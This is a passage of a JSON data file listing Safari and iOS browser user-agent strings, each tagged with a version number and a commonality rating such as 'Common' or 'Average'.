Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.6.17 (KHTML, like Gecko) Version\\/9.1.1 Safari\\/537.86.6\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0_3 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A432 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_6 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D100 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/537.86.3\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.2.7 (KHTML, like Gecko) Version\\/9.0.1 Safari\\/537.86.2\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B554a Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C114 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.3.18 (KHTML, like Gecko) Version\\/8.0.3 Safari\\/600.3.18\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B367 Safari\\/531.21.10\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/536.28.10 (KHTML, like Gecko) Version\\/6.0.3 Safari\\/536.28.10\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_3 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B329 Safari\\/8536.25\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B466 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/7.0.6 Safari\\/537.78.2\"},{\"commonality\":\"Common\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit\\/528.18 (KHTML, like Gecko) Version\\/4.0 Mobile\\/7A341 Safari\\/528.16\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C202 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.6 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D60 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.7\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A523 Safari\\/8536.25\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1_2 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B202 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15E148 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Common\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_4_11; en) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D201 Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B410 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B440 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8L1 Safari\\/6533.18.5\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B410 Safari\\/600.1.4 (Applebot\\/0.1; +http:\\/\\/www.apple.com\\/go\\/applebot)\"},{\"commonality\":\"Common\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A372 Safari\\/604.1\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_2 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A4449d Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A344 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B440 Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Common\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_4 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B554a Safari\\/9537.53\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E234 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit\\/533.16 (KHTML, like Gecko) Version\\/5.0 Safari\\/533.16\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/8.0.2 Safari\\/600.2.5\"},{\"commonality\":\"Common\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit\\/600.1.3 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A4345d Safari\\/600.1.4\"},{\"commonality\":\"Common\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A404 Safari\\/601.1\"},{\"commonality\":\"Common\",\"version\":\"11.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.1 Safari\\/605.1.15\"},{\"commonality\":\"Common\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1_3 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B466 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/600.1.25 (KHTML, like Gecko) Version\\/8.0 Safari\\/600.1.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A344 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/601.1.56 (KHTML, like Gecko) Version\\/9.0 Safari\\/537.86.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E233 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/536.29.13 (KHTML, like Gecko) Version\\/6.0.4 Safari\\/536.29.13\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_0_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A404 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12D508 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_0_1 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A403 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit\\/601.3.9 (KHTML, like Gecko) Version\\/9.0.2 Safari\\/601.3.9\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12D508 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit\\/532.9 (KHTML, like Gecko) Version\\/4.0.5 Mobile\\/8A293 Safari\\/6531.22.7\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit\\/530.17 (KHTML, like Gecko) Version\\/4.0 Safari\\/530.17\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.58.2 (KHTML, like Gecko) Version\\/5.1.8 Safari\\/534.58.2\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B146 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0_1 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A402 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_0_2 like Mac OS X) AppleWebKit\\/604.1.38 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15A421 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko ) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"4.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; en) AppleWebKit\\/533.19.4 (KHTML, like Gecko) Version\\/4.1.3 Safari\\/533.19.4\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D201 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D167 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7) AppleWebKit\\/534.48.3 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.48.3\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B72 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.4.10 (KHTML, like Gecko) Version\\/8.0.4 Safari\\/600.4.10\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/7.1.7 Safari\\/537.85.16\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5297c Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B146 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.59.8 (KHTML, like Gecko) Version\\/5.1.9 Safari\\/534.59.8\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/534.57.7 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.7\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B141 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A523 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13G36 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X 10_5_8) AppleWebKit\\/534.50.2 (KHTML, like Gecko) Version\\/5.0.6 Safari\\/533.22.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.28.10 (KHTML, like Gecko) Version\\/6.0.3 Safari\\/536.28.10\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.53.11 (KHTML, like Gecko) Version\\/5.1.3 Safari\\/534.53.10\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.29.13 (KHTML, like Gecko) Version\\/6.0.4 Safari\\/536.29.13\"},{\"commonality\":\"Average\",\"version\":\"11.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.1 Safari\\/605.1.15\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B150 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Safari\\/601.1.46\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B411 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.6.3 (KHTML, like Gecko) Version\\/7.1.6 Safari\\/537.85.15\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.31\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit\\/534.51.22 (KHTML, like Gecko) Version\\/5.1.1 Safari\\/534.51.22\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit\\/537.51.2 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11D167 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A403 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_3; en-us) AppleWebKit\\/531.21.11 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-US) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit\\/537.77.4 (KHTML, like Gecko) Version\\/7.0.5 Safari\\/537.77.4\"},{\"commonality\":\"Average\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.6.3 (KHTML, like Gecko) Version\\/6.2.6 Safari\\/537.85.15\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A405 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A405 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B435 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/536.30.1 (KHTML, like Gecko) Version\\/6.0.5 Safari\\/536.30.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B150 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8) AppleWebKit\\/536.25 (KHTML, like Gecko) Version\\/6.0 Safari\\/536.25\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_1 like Mac OS X) AppleWebKit\\/604.3.5 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B93 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A465 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A5355d Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"10.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit\\/603.1.13 (KHTML, like Gecko) Version\\/10.1 Safari\\/603.1.13\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A334 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_3 like Mac OS X) AppleWebKit\\/605.1.15 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15E148 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 11_2 like Mac OS X) AppleWebKit\\/604.4.7 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15C114 Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 